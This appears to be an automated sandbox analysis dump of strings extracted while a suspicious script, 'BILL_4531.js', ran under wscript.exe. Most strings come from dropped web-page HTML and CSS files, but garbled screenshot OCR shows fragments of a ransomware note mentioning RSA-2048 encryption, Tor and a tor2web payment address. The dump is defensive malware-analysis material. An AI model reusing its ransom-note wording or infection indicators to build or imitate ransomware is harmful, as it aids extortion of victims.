(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

Ansi based on Dropped File (home-&-garden)

.btn_search {

Ansi based on Dropped File (home-&-garden)

.buy-btn-list {

Ansi based on Dropped File (home-&-garden)

.my-btn {

Ansi based on Dropped File (home-&-garden)

.table-responsive {

Ansi based on Dropped File (home-&-garden)

/* Overrule CSS with custom colors from Efty user */

Ansi based on Dropped File (home-&-garden)

// Convert js object towards URL paramater

Ansi based on Dropped File (home-&-garden)

// Displaying the values

Ansi based on Dropped File (home-&-garden)

// Initialize slider

Ansi based on Dropped File (home-&-garden)

// Initiate first

Ansi based on Dropped File (home-&-garden)

// OLD STYLE PAGING

Ansi based on Dropped File (home-&-garden)

// Process filter submit

Ansi based on Dropped File (home-&-garden)

// Process search / refining

Ansi based on Dropped File (home-&-garden)

//Odf.ajax.get('http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/10/keyword//', '#domain_list_body', { });

Ansi based on Dropped File (home-&-garden)

... Bootstrap -->

Ansi based on Dropped File (home-&-garden)

... Custom + Common Css -->

Ansi based on Dropped File (home-&-garden)

... EFTY MARKET THEME BORGEN -->

Ansi based on Dropped File (home-&-garden)

... Font-Awesome -->

Ansi based on Dropped File (home-&-garden)

... Header Collapsed -->

Ansi based on Dropped File (home-&-garden)

... Header Section Started -->

Ansi based on Dropped File (home-&-garden)

... jQuery -->

Ansi based on Dropped File (home-&-garden)

... No UI slider -->

Ansi based on Dropped File (home-&-garden)

... wNumb number formatting -->

Ansi based on Dropped File (home-&-garden)

...[if lt IE 9]>

Ansi based on Dropped File (home-&-garden)

<![endif]-->

Ansi based on Dropped File (home-&-garden)

<!doctype html>

Ansi based on Dropped File (home-&-garden)

</body>

Ansi based on Dropped File (home-&-garden)

</div>

Ansi based on Dropped File (home-&-garden)

</footer>

Ansi based on Dropped File (home-&-garden)

</form>

Ansi based on Dropped File (home-&-garden)

</head>

Ansi based on Dropped File (home-&-garden)

</header>

Ansi based on Dropped File (home-&-garden)

</html>

Ansi based on Dropped File (home-&-garden)

</li>

Ansi based on Dropped File (home-&-garden)

</script>

Ansi based on Dropped File (home-&-garden)

</section>

Ansi based on Dropped File (home-&-garden)

</select>

Ansi based on Dropped File (home-&-garden)

</style>

Ansi based on Dropped File (home-&-garden)

</ul>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<body>

Ansi based on Dropped File (home-&-garden)

<button type="button" class="btn btn_search" id="filter_submit"><i class="fa fa-search" aria-hidden="true"></i> search</button>

Ansi based on Dropped File (home-&-garden)

<button type="submit" class="btn btn_search"><i class="fa fa-search" aria-hidden="true"></i> Search</button>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<div>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<h3 class="main_title crummer"><a href="http://www.nameboat.com" title="www.nameboat.com">www.nameboat.com</a> > Domain overview</h3>

Ansi based on Dropped File (home-&-garden)

<h3 class="main_title">Filters</h3>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Categories</h4>

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Extension</h4>

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Length</h4>

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Price</h4>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<head>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<html>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<li class="call-tx hidden-xs"> <img src="market/img/efty_market_themes/borgen/1.png"><span>Call us </span> and we'll help you secure the <br>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<li><a href="http://www.nameboat.com" title="www.nameboat.com" class="text-blue" target="_blank">www.nameboat.com</a></li>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<li><a href="mailto:info@nameboat.com" class="text-blue">info@nameboat.com</a></li>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Brandable">Brandable</option>

Ansi based on Dropped File (home-&-garden)

<option value="Business">Business</option>

Ansi based on Dropped File (home-&-garden)

<option value="Career & Education">Career & Education</option>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Computers & Technology">Computers & Technology</option>

Ansi based on Dropped File (home-&-garden)

<option value="Entertainment">Entertainment</option>

Ansi based on Dropped File (home-&-garden)

<option value="Finance">Finance</option>

Ansi based on Dropped File (home-&-garden)

<option value="Health">Health</option>

Ansi based on Dropped File (home-&-garden)

<option value="Home & Garden" selected="selected">Home & Garden</option>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Other">Other</option>

Ansi based on Dropped File (home-&-garden)

<option value="Real Estate">Real Estate</option>

Ansi based on Dropped File (home-&-garden)

<option value="Recreation & Travel">Recreation & Travel</option>

Ansi based on Dropped File (home-&-garden)

<option value="Shopping">Shopping</option>

Ansi based on Dropped File (home-&-garden)

<option value="Short domains">Short domains</option>

Ansi based on Dropped File (home-&-garden)

<option value="Society">Society</option>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<style>

Ansi based on Dropped File (home-&-garden)

<title>Welcome to NameBoat | www.nameboat.com</title>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

@media screen and (max-width: 767px) {

Ansi based on Dropped File (home-&-garden)

age_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

background: #3c5af6;

Ansi based on Dropped File (home-&-garden)

border-color: #3c5af6;

Ansi based on Dropped File (home-&-garden)

border: 1px solid #ddd;

Ansi based on Dropped File (home-&-garden)

color: #ffffff;

Ansi based on Dropped File (home-&-garden)

connect: true,

Ansi based on Dropped File (home-&-garden)

decimals: 0

Ansi based on Dropped File (home-&-garden)

document.getElementById('age_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('age_val_min'),

Ansi based on Dropped File (home-&-garden)

document.getElementById('length_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('length_val_min'),

Ansi based on Dropped File (home-&-garden)

document.getElementById('price_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('price_val_min'),

Ansi based on Dropped File (home-&-garden)

form_inputs.each(function() {

Ansi based on Dropped File (home-&-garden)

form_values[this.name] = $(this).val();

Ansi based on Dropped File (home-&-garden)

form_values_for_url = JSON.stringify(form_values);

Ansi based on Dropped File (home-&-garden)

format: wNumb({

Ansi based on Dropped File (home-&-garden)

ga('create', 'UA-51651642-1', 'auto');

Ansi based on Dropped File (home-&-garden)

ga('send', 'pageview');

Ansi based on Dropped File (home-&-garden)

length_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

Ansi based on Dropped File (home-&-garden)

margin-bottom: 0;

Ansi based on Dropped File (home-&-garden)

noUiSlider.create(slider_age, {

Ansi based on Dropped File (home-&-garden)

noUiSlider.create(slider_length, {

Ansi based on Dropped File (home-&-garden)

noUiSlider.create(slider_price, {

Ansi based on Dropped File (home-&-garden)

perfect domain name for your business.

Ansi based on Dropped File (home-&-garden)

price_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

range: {

Ansi based on Dropped File (home-&-garden)

Sitemap

Ansi based on Dropped File (home-&-garden)

slider_age.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_age.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_length.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_length.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_price.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_price.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

snap: false,

Ansi based on Dropped File (home-&-garden)

start: [ 0.00, 1888.00 ],

Ansi based on Dropped File (home-&-garden)

start: [ 1, 21 ],

Ansi based on Dropped File (home-&-garden)

start: [ 4, 16 ],

Ansi based on Dropped File (home-&-garden)

var age_values = [

Ansi based on Dropped File (home-&-garden)

var form_inputs = $('#filter-form :input');

Ansi based on Dropped File (home-&-garden)

var form_values = {};

Ansi based on Dropped File (home-&-garden)

var length_values = [

Ansi based on Dropped File (home-&-garden)

var price_values = [

Ansi based on Dropped File (home-&-garden)

var slider_age = document.getElementById('nouislider_age');

Ansi based on Dropped File (home-&-garden)

var slider_length = document.getElementById('nouislider_length');

Ansi based on Dropped File (home-&-garden)

var slider_price = document.getElementById('nouislider_price');

Ansi based on Dropped File (home-&-garden)

})(window,document,'script','//www.google-analytics.com/analytics.js','ga');

Ansi based on Dropped File (home-&-garden)

#catnav .current-cat {

Ansi based on Dropped File (nav.css)

#catnav a, #catnav a:hover {

Ansi based on Dropped File (nav.css)

#catnav a, #catnav a:visited {

Ansi based on Dropped File (nav.css)

#catnav a:active {

Ansi based on Dropped File (nav.css)

#catnav a:hover {

Ansi based on Dropped File (nav.css)

#catnav li li a, #catnav li li a:visited {

Ansi based on Dropped File (nav.css)

#catnav li li a:hover, #catnav li li a:active {

Ansi based on Dropped File (nav.css)

#catnav li li {

Ansi based on Dropped File (nav.css)

#catnav li li:last-child a, #catnav li li:last-child a:visited {

Ansi based on Dropped File (nav.css)

#catnav li ul ul {/*second level dropdown*/

Ansi based on Dropped File (nav.css)

#catnav li ul {/*first level dropdown*/

Ansi based on Dropped File (nav.css)

#catnav li {

Ansi based on Dropped File (nav.css)

#catnav li:hover ul ul, #catnav li.sfhover ul ul {

Ansi based on Dropped File (nav.css)

#catnav li:hover ul, #catnav li li:hover ul, #catnav li li li:hover ul, #catnav li.sfhover ul, #catnav li li.sfhover ul, #catnav li li li.sfhover ul {left: auto;}

Ansi based on Dropped File (nav.css)

#catnav ul a, #catnav ul a:hover {

Ansi based on Dropped File (nav.css)

#catnav {

Ansi based on Dropped File (nav.css)

#catnav, #catnav ul {

Ansi based on Dropped File (nav.css)

#catnavli.last a {}

Ansi based on Dropped File (nav.css)

#nav a, #nav a:hover {

Ansi based on Dropped File (nav.css)

#nav a, #nav a:visited {

Ansi based on Dropped File (nav.css)

#nav a:hover, #nav a:active {

Ansi based on Dropped File (nav.css)

#nav li li a, #nav li li a:visited {

Ansi based on Dropped File (nav.css)

#nav li li a:hover, #nav li li a:active {

Ansi based on Dropped File (nav.css)

#nav li li {

Ansi based on Dropped File (nav.css)

#nav li ul ul {/*second level dropdown*/

Ansi based on Dropped File (nav.css)

#nav li ul {/*first level dropdown*/

Ansi based on Dropped File (nav.css)

#nav li {

Ansi based on Dropped File (nav.css)

#nav li.first

Ansi based on Dropped File (nav.css)

#nav li.last

Ansi based on Dropped File (nav.css)

#nav li:hover ul ul, #nav li.sfhover ul ul {

Ansi based on Dropped File (nav.css)

#nav li:hover ul, #nav li li:hover ul, #nav li li li:hover ul, #nav li.sfhover ul, #nav li li.sfhover ul, #nav li li li.sfhover ul {left: auto;}

Ansi based on Dropped File (nav.css)

#nav {

Ansi based on Dropped File (nav.css)

#nav, #nav ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu .menu-header li,

Ansi based on Dropped File (nav.css)

#wp_nav_menu .menu-header ul,

Ansi based on Dropped File (nav.css)

#wp_nav_menu .menu-header,

Ansi based on Dropped File (nav.css)

#wp_nav_menu a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu li:hover > a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul li li {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul li {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul li:hover > ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul :hover > a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu {

Ansi based on Dropped File (nav.css)

* CATEGORIES NAVBAR

Ansi based on Dropped File (nav.css)

* PAGES NAVBAR

Ansi based on Dropped File (nav.css)

* STYLES FOR THE HORIZONTAL NAVIGATION MENUES

Ansi based on Dropped File (nav.css)

* NEW WORDPRESS 3 CUSTOM MENUE STYLES

Ansi based on Dropped File (nav.css)

************************************************/

Ansi based on Dropped File (nav.css)

-moz-box-shadow: 1px 1px 3px #c5c5c5;

Ansi based on Dropped File (nav.css)

-webkit-box-shadow: 1px 1px 3px #c5c5c5;

Ansi based on Dropped File (nav.css)

.current-menu-item {background: #fff; padding: 5px 0;}

Ansi based on Dropped File (nav.css)

.current_page_itema, .home .on {font-weight:bold;}

Ansi based on Dropped File (nav.css)

/*** Dropdown Menus for categories ***/

Ansi based on Dropped File (nav.css)

/*** Dropdown Menus for child pages ***/

Ansi based on Dropped File (nav.css)

/***********************************************

Ansi based on Dropped File (nav.css)

/*border-right:1px solid #010101;*/

Ansi based on Dropped File (nav.css)

/*border-top: 1px solid #cacbcb;*/

Ansi based on Dropped File (nav.css)

a.main:hover {background:none;}

Ansi based on Dropped File (nav.css)

background-color: #0033FF;

Ansi based on Dropped File (nav.css)

background-position:right;

Ansi based on Dropped File (nav.css)

background-repeat:no-repeat;

Ansi based on Dropped File (nav.css)

background: #333;

Ansi based on Dropped File (nav.css)

background: #E2E4CD;

Ansi based on Dropped File (nav.css)

background: #fff;

Ansi based on Dropped File (nav.css)

background:#666;

Ansi based on Dropped File (nav.css)

background:#880000;

Ansi based on Dropped File (nav.css)

background:#fff;

Ansi based on Dropped File (nav.css)

background:none;

Ansi based on Dropped File (nav.css)

border-bottom: 1px solid #666;

Ansi based on Dropped File (nav.css)

border-bottom:1px solid #fff;

Ansi based on Dropped File (nav.css)

border-left: 1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border-left: 1px solid #fff;

Ansi based on Dropped File (nav.css)

border-left:1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border-right: 1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border-right: 1px solid #fff;

Ansi based on Dropped File (nav.css)

border-top: 1px solid #fff;

Ansi based on Dropped File (nav.css)

border-top:1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border:none;

Ansi based on Dropped File (nav.css)

box-shadow: 1px 1px 3px #c5c5c5;

Ansi based on Dropped File (nav.css)

color: #000 ;

Ansi based on Dropped File (nav.css)

color: #000;

Ansi based on Dropped File (nav.css)

color: #cacbcb;

Ansi based on Dropped File (nav.css)

color:#000;

Ansi based on Dropped File (nav.css)

color:#cacbcb;

Ansi based on Dropped File (nav.css)

color:#ed1c24 !important;

Ansi based on Dropped File (nav.css)

color:#ed1c24;

Ansi based on Dropped File (nav.css)

color:#fff !important;

Ansi based on Dropped File (nav.css)

color:#FFF;

Ansi based on Dropped File (nav.css)

color:#fff;

Ansi based on Dropped File (nav.css)

display: block;

Ansi based on Dropped File (nav.css)

display:block;

Ansi based on Dropped File (nav.css)

display:none;

Ansi based on Dropped File (nav.css)

div.menu li {

Ansi based on Dropped File (nav.css)

div.menu ul {

Ansi based on Dropped File (nav.css)

div.menu {

Ansi based on Dropped File (nav.css)

float: left;

Ansi based on Dropped File (nav.css)

float:left;

Ansi based on Dropped File (nav.css)

font-family:Arial, Helvetica, sans-serif !important;

Ansi based on Dropped File (nav.css)

font-size:11px;

Ansi based on Dropped File (nav.css)

font-size:13px !important;

Ansi based on Dropped File (nav.css)

font-size:13px;

Ansi based on Dropped File (nav.css)

font-size:1em;

Ansi based on Dropped File (nav.css)

font-style:normal;

Ansi based on Dropped File (nav.css)

font-weight:bold;

Ansi based on Dropped File (nav.css)

font-weight:normal;

Ansi based on Dropped File (nav.css)

height: auto;

Ansi based on Dropped File (nav.css)

height:22px;

Ansi based on Dropped File (nav.css)

height:28px;

Ansi based on Dropped File (nav.css)

height:34px;

Ansi based on Dropped File (nav.css)

height:35px;

Ansi based on Dropped File (nav.css)

height:auto;

Ansi based on Dropped File (nav.css)

in Wordpress version 3.0.

Ansi based on Dropped File (nav.css)

left: -999em;

Ansi based on Dropped File (nav.css)

left:0;

Ansi based on Dropped File (nav.css)

left:100%;

Ansi based on Dropped File (nav.css)

line-height: 18px;

Ansi based on Dropped File (nav.css)

line-height:18px;

Ansi based on Dropped File (nav.css)

line-height:1em;

Ansi based on Dropped File (nav.css)

line-height:28px;

Ansi based on Dropped File (nav.css)

line-height:5px;

Ansi based on Dropped File (nav.css)

list-style: none;

Ansi based on Dropped File (nav.css)

list-style:none;

Ansi based on Dropped File (nav.css)

margin-left: 0px;

Ansi based on Dropped File (nav.css)

margin-top:0px;

Ansi based on Dropped File (nav.css)

margin-top:132px;

Ansi based on Dropped File (nav.css)

margin-top:9px;

Ansi based on Dropped File (nav.css)

margin: -2em 0 0 172px;

Ansi based on Dropped File (nav.css)

margin: 0 auto;

Ansi based on Dropped File (nav.css)

margin: 0;

Ansi based on Dropped File (nav.css)

navigation bars. One for the page navigation,

Ansi based on Dropped File (nav.css)

one for the category navigation and one for

Ansi based on Dropped File (nav.css)

padding-bottom:15px;

Ansi based on Dropped File (nav.css)

padding-left:100px;

Ansi based on Dropped File (nav.css)

padding-top:8px;

Ansi based on Dropped File (nav.css)

padding-top:9px;

Ansi based on Dropped File (nav.css)

padding:0 10px;

Ansi based on Dropped File (nav.css)

padding:10px;

Ansi based on Dropped File (nav.css)

padding:6px 12px;

Ansi based on Dropped File (nav.css)

padding:6px 8px;

Ansi based on Dropped File (nav.css)

position: absolute;

Ansi based on Dropped File (nav.css)

position: relative;

Ansi based on Dropped File (nav.css)

position:absolute;

Ansi based on Dropped File (nav.css)

position:relative;

Ansi based on Dropped File (nav.css)

text-decoration: none;

Ansi based on Dropped File (nav.css)

text-decoration:none;

Ansi based on Dropped File (nav.css)

the custom navigation menue that was introduced

Ansi based on Dropped File (nav.css)

This file contains the CSS for the horizontal

Ansi based on Dropped File (nav.css)

top:0;

Ansi based on Dropped File (nav.css)

top:28px;

Ansi based on Dropped File (nav.css)

width: 150px;

Ansi based on Dropped File (nav.css)

width: 172px;

Ansi based on Dropped File (nav.css)

width: 174px;

Ansi based on Dropped File (nav.css)

width: 940px;

Ansi based on Dropped File (nav.css)

width:980px;

Ansi based on Dropped File (nav.css)

z-index: 10;

Ansi based on Dropped File (nav.css)

z-index: 99999;

Ansi based on Dropped File (nav.css)

z-index:1000;

Ansi based on Dropped File (nav.css)

z-index:99999;

Ansi based on Dropped File (nav.css)

{ border-right:1px solid #cacbcb;}

Ansi based on Dropped File (nav.css)

{ margin-left:100px;}

Ansi based on Dropped File (nav.css)

Ansi based on Process Commandline (powershell.exe)

Ansi based on Dropped File (recovery.js.tmp)

0=?9__,__?_,

Ansi based on Image Processing (screen_0.png)

?___?_

Ansi based on Image Processing (screen_0.png)

_?m___q____?v____

Ansi based on Image Processing (screen_0.png)

__'_q,_'i'

Ansi based on Image Processing (screen_0.png)

_a___

Ansi based on Image Processing (screen_0.png)

PAYLOAD

Ansi based on Image Processing (screen_0.png)

SEtU_lTY

Ansi based on Image Processing (screen_0.png)

!________________

Ansi based on Image Processing (screen_2.png)

9_g_0_,__0_

Ansi based on Image Processing (screen_2.png)

?V____?___

Ansi based on Image Processing (screen_2.png)

_,00000000_00000_

Ansi based on Image Processing (screen_2.png)

_,_,_,

Ansi based on Image Processing (screen_2.png)

_??__?0?_,_,_____,,__

Ansi based on Image Processing (screen_2.png)

__,,??,_,?_0L???_______

Ansi based on Image Processing (screen_2.png)

___0___>,__0_

Ansi based on Image Processing (screen_2.png)

____,

Ansi based on Image Processing (screen_2.png)

____,_________,_____

Ansi based on Image Processing (screen_2.png)

____>

Ansi based on Image Processing (screen_2.png)

____>___________>

Ansi based on Image Processing (screen_2.png)

_____

Ansi based on Image Processing (screen_2.png)

______

Ansi based on Image Processing (screen_2.png)

_______

Ansi based on Image Processing (screen_2.png)

________

Ansi based on Image Processing (screen_2.png)

_________0______

Ansi based on Image Processing (screen_2.png)

___________

Ansi based on Image Processing (screen_2.png)

_____________

Ansi based on Image Processing (screen_2.png)

______________

Ansi based on Image Processing (screen_2.png)

_L_,_o_8__0_,__0

Ansi based on Image Processing (screen_2.png)

_r__?m?______??9??v___?_

Ansi based on Image Processing (screen_2.png)

N'U''''b

Ansi based on Image Processing (screen_2.png)

oq_7__

Ansi based on Image Processing (screen_2.png)

.to/5

Ansi based on Image Processing (screen_4.png)

//en.

Ansi based on Image Processing (screen_4.png)

/5DyGwgJJx_p

Ansi based on Image Processing (screen_4.png)

/A/pd0Fblr_e__R_eader

Ansi based on Image Processing (screen_4.png)

5DYGW9JJXIPQSEFB

Ansi based on Image Processing (screen_4.png)

7wnload

Ansi based on Image Processing (screen_4.png)

_'"i___^_i'P0'

Ansi based on Image Processing (screen_4.png)

__,__

Ansi based on Image Processing (screen_4.png)

__,o,h,v.Do_____resses

Ansi based on Image Processing (screen_4.png)

__^Ji'_PO_ANT

Ansi based on Image Processing (screen_4.png)

___,__0,,_

Ansi based on Image Processing (screen_4.png)

__ii._a'0______

Ansi based on Image Processing (screen_4.png)

_i_,__,

Ansi based on Image Processing (screen_4.png)

_llow

Ansi based on Image Processing (screen_4.png)

_ur__es

Ansi based on Image Processing (screen_4.png)

about

Ansi based on Image Processing (screen_4.png)

available

Ansi based on Image Processing (screen_4.png)

bj3fk.

Ansi based on Image Processing (screen_4.png)

browser

Ansi based on Image Processing (screen_4.png)

Browser:

Ansi based on Image Processing (screen_4.png)

ciphers.

Ansi based on Image Processing (screen_4.png)

decrypt

Ansi based on Image Processing (screen_4.png)

DYGW9JJXI

Ansi based on Image Processing (screen_4.png)

encrypted

Ansi based on Image Processing (screen_4.png)

f_e_V_j'i_inLion

Ansi based on Image Processing (screen_4.png)

found

Ansi based on Image Processing (screen_4.png)

here:

Ansi based on Image Processing (screen_4.png)

https://www.torproje_.or9/download/download-easy.html

Ansi based on Image Processing (screen_4.png)

identi_cation

Ansi based on Image Processing (screen_4.png)

INFORM_ION

Ansi based on Image Processing (screen_4.png)

initialization.

Ansi based on Image Processing (screen_4.png)

install

Ansi based on Image Processing (screen_4.png)

installation,

Ansi based on Image Processing (screen_4.png)

instru_ions

Ansi based on Image Processing (screen_4.png)

ion/5

Ansi based on Image Processing (screen_4.png)

itevd

Ansi based on Image Processing (screen_4.png)

ki/Adva

Ansi based on Image Processing (screen_4.png)

ki/RSA

Ansi based on Image Processing (screen_4.png)

links:

Ansi based on Image Processing (screen_4.png)

m.,dz'_1rd,_omitevd2ab-3fk.tor2web.or

Ansi based on Image Processing (screen_4.png)

mHo_wD!____e

Ansi based on Image Processing (screen_4.png)

nc_pt

Ansi based on Image Processing (screen_4.png)

nEs-128

Ansi based on Image Processing (screen_4.png)

or9/w

Ansi based on Image Processing (screen_4.png)

personal

Ansi based on Image Processing (screen_4.png)

possible

Ansi based on Image Processing (screen_4.png)

private

Ansi based on Image Processing (screen_4.png)

program,

Ansi based on Image Processing (screen_4.png)

Rsn-2o48

Ansi based on Image Processing (screen_4.png)

secret

Ansi based on Image Processing (screen_4.png)

site.

Ansi based on Image Processing (screen_4.png)

successful

Ansi based on Image Processing (screen_4.png)

tc_ptosystem)

Ansi based on Image Processing (screen_4.png)

these

Ansi based on Image Processing (screen_4.png)

which

Ansi based on Image Processing (screen_4.png)

"C:\BILL_4531.js"

Ansi based on Process Commandline (wscript.exe)

Corporation

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Windows Based Script Host

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

$Function

Unicode based on Runtime Data (wscript.exe )

%d.%d

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

%s%s.DLL

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

%s\%s

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

%s\%s\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

&NoTaskWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

'Pathname

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

(null)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

*ShowUsageWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

-Cans-CA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Cyrl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Cyrl-RS

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-ES_tradnl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

-Latn-AZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

.8.7600.16385

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

.\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

.\%s\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

.ObjectWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

/IWSHUnnamedArgumentsd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

00000409

Unicode based on Runtime Data (wscript.exe )

0IRunningW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

0x%8X

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

16385

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

4[out_VersionW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

5out_Dispatch

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

5pbstrDescWWWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

7Uout_ScriptNameWW

